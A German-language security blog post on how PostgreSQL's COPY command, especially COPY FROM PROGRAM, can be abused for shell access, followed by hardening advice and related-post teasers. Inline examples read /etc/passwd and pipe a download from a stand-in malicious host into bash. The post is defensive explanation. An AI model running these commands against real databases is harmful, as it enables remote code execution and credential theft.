PostgreSQL: COPY-Befehl erlaubt System-Shell Zugriff

Table of Contents

PostgreSQL hat sich als robustes und flexibles Datenbanksystem etabliert. Dennoch gibt es bestimmte Funktionen, die von Angreifern ausgenutzt werden können, wenn sie nicht ordnungsgemäß gesichert sind. Eine solche Funktion ist der COPY-Befehl, der sich als Achillesferse von PostgreSQL herausgestellt hat. Nachfolgend wird erläutert, warum dieser Befehl bei Hackern beliebt ist und wie er ausgenutzt werden kann.

Der „COPY“-Befehl in PostgreSQL

Der COPY-Befehl ermöglicht es, Daten zwischen einer Datei und einer Tabelle in PostgreSQL zu übertragen. Dieser Befehl ist äußerst nützlich für den Import und Export von großen Datenmengen, kann jedoch bei unsachgemäßer Nutzung ein erhebliches Sicherheitsrisiko darstellen.

Funktionsweise des COPY-Befehls

  • COPY table_name TO 'file_path': Exportiert Daten aus einer Tabelle in eine Datei.
  • COPY table_name FROM 'file_path': Importiert Daten aus einer Datei in eine Tabelle.

Mögliche Angriffsszenarien

1. Lesen von sensiblen Dateien

Angreifer, die Zugriff auf den COPY-Befehl haben, könnten versuchen, sensible Dateien auf dem Server zu lesen. Durch den Befehl COPY table_name FROM PROGRAM 'cat /etc/passwd' könnten sie den Inhalt der Datei /etc/passwd einsehen, was sensible Informationen über Benutzerkonten preisgeben könnte.

2. Schreiben von Shell-Skripten

Mit dem COPY-Befehl könnten Angreifer auch Dateien auf dem Server schreiben. Beispielsweise könnten sie versuchen, ein Shell-Skript zu erstellen, das später zur Ausführung bösartigen Codes genutzt wird. Ein Befehl wie COPY (SELECT 'malicious_code') TO '/tmp/malware.sh' könnte dazu verwendet werden, ein schädliches Skript zu erstellen.

3. Code-Ausführung mittels externer Programme

Der COPY-Befehl unterstützt die Ausführung externer Programme. Ein Angreifer könnte dies nutzen, um beliebige Befehle auf dem Betriebssystem auszuführen. Der Befehl COPY table_name FROM PROGRAM 'curl http://malicious.site/malware | bash' könnte dazu verwendet werden, Malware aus dem Internet herunterzuladen und auszuführen.

Sicherheitsmaßnahmen

1. Beschränkung des COPY-Befehls

Der Zugriff auf den COPY-Befehl sollte auf vertrauenswürdige Benutzer beschränkt werden. Dies kann durch sorgfältige Verwaltung von Benutzerrollen und -berechtigungen erreicht werden.

2. Deaktivierung von Programmausführung

Die Möglichkeit, externe Programme mittels COPY auszuführen, sollte deaktiviert werden, wenn sie nicht benötigt wird. Dies kann durch entsprechende Konfigurationseinstellungen in PostgreSQL erreicht werden.

3. Kein Remote Login für Postgres Superadmins

Per Default unterscheidet Postgres bei Superadmin Usern nicht zwischen Betriebsystem und Datenbank. D.h. diese können über Befehle wie COPY frei auf das Betriebssystem zugreifen. Man sollte daher auf keinem Fall einen Remote User erlauben Superadmin Rechte zu erlangen.

4. Sichere Konfiguration

Es ist wichtig, PostgreSQL sicher zu konfigurieren und regelmäßig Updates und Sicherheitspatches zu installieren. Administratoren sollten sicherstellen, dass nur die minimal notwendigen Berechtigungen vergeben werden und dass keine unnötigen Funktionen aktiviert sind.

Fazit

Der COPY-Befehl in PostgreSQL ist eine mächtige Funktion, die bei unsachgemäßer Nutzung ein erhebliches Sicherheitsrisiko darstellen kann. Angreifer könnten diesen Befehl nutzen, um sensible Daten zu lesen, bösartige Dateien zu erstellen oder beliebige Befehle auf dem Betriebssystem auszuführen. Organisationen sollten daher geeignete Sicherheitsmaßnahmen implementieren, um ihre PostgreSQL-Datenbanken zu schützen und das Risiko von Angriffen zu minimieren.

Related Posts

MS-SQL: Betriebssystem Übernahme durch xp_cmdshell und CLR-Assembly

Microsoft SQL Server (MS-SQL) sind ein bevorzugtes Ziel für Brute-Force-Angriffe. Ein Blogbeitrag von secoia.io zeigt auf warum das so ist. Die MS-SQL Features xp_cmdshell und CLR-Assembly erlauben es Angreifern, Rechte zu eskalieren und Befehle auf Betriebssystemebene auszuführen - ideale Vorraussetzungen für Ransomware und Malware Deployments.

Read More

VMware schließt mehrere Sicherheitslücken in Workstation und Fusion

VMware hat Updates für VMware Workstation und Fusion veröffentlicht, die mehrere kritische Sicherheitslücken beheben. Diese Sicherheitsanfälligkeiten wurden als CVE-2024-22267, CVE-2024-22268, CVE-2024-22269 und CVE-2024-22270 identifiziert und am 14. Mai 2024 bekannt gegeben.

Read More

Sicherheitslücke in SAP NetWeaver Application Server ABAP und ABAP Platform

Am 23. April 2024 wurde eine kritische Sicherheitslücke in SAP NetWeaver Application Server ABAP und ABAP Platform (Version unbekannt) entdeckt und als CVE-2024-33006 identifiziert. Diese Schwachstelle ermöglicht eine unbeschränkte Dateiupload-Attacke, klassifiziert unter CWE-434.

Read More